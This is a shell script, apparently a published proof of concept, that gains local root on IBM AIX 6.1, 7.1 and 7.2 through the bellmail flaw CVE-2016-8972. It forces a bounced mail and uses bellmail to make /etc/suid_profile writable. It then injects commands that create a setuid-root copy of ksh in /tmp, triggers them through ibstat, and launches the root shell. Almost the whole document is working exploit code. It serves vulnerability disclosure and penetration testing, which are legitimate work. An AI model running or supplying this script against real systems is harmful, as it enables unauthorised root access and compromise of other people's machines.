1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 |
#!/usr/bin/sh # # CVE-2016-8972/bellmailroot.sh: IBM AIX Bellmail local root # # Affected versions: # AIX 6.1, 7.1, 7.2 # VIOS 2.2.x # # FilesetLower LevelUpper Level KEY #--------------------------------------------------------- #bos.net.tcp.client 6.1.9.06.1.9.200 key_w_fs #bos.net.tcp.client 7.1.3.07.1.3.47key_w_fs #bos.net.tcp.client 7.1.4.07.1.4.30key_w_fs #bos.net.tcp.client_core7.2.0.07.2.0.1 key_w_fs #bos.net.tcp.client_core7.2.1.07.2.1.0 key_w_fs # # Ref: http://aix.software.ibm.com/aix/efixes/security/bellmail_advisory.asc # Ref: https://rhinosecuritylabs.com/2016/12/21/unix-nostalgia-aix-bug-hunting-part-2-bellmail-privilege-escalation-cve-2016-8972/ # @hxmonsegur //RSL - https://www.rhinosecuritylabs.com ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}') VULNBIN=/usr/bin/bellmail SUIDPROFILE=/etc/suid_profile function ESCALATE { echo "[*] Preparing escalation" $VULNBIN >/dev/null 2>&1 <<EOD s /etc/suid_profile EOD if [ ! -w $SUIDPROFILE ]; then echo "[-] $SUIDPROFILE is not writable. Exploit failed." exit 1 fi echo "[*] Clearing out $SUIDPROFILE" echo > /etc/suid_profile echo "[*] Injecting payload" cat << EOF >$SUIDPROFILE cp /bin/ksh $ROOTSHELL /usr/bin/syscall setreuid 0 0 chown root:system $ROOTSHELL chmod 6755 $ROOTSHELL rm -f $SUIDPROFILE EOF echo "[*] Executing SUID to leverage privileges" /usr/bin/ibstat -a >/dev/null 2>&1 if [ ! -x $ROOTSHELL ]; then echo "[-] Root shell does not exist or is not executable. Exploit failed." exit 1 fi echo "[*] Escalating to root.." $ROOTSHELL echo "[*] Make sure to remove $ROOTSHELL" } echo "[*] IBM AIX 6.1, 7.1, 7.2 Bellmail Local root @hxmonsegur//RSL" $VULNBIN -e if [ $? -eq 0 ] then ESCALATE echo "[*] Make sure to remove $ROOTSHELL" exit 0 fi echo "[*] Sending mail to non-existent user, force a bounce within ~minute" /usr/bin/mail nonexistentuser <<EOD . . . EOD echo "[*] Waiting for mail to come in." while true do $VULNBIN -e if [ $? -eq 0 ] then echo "[*] Mail found" ESCALATE break else echo "[-] Mail not received yet. Sleeping." sleep 10 fi done |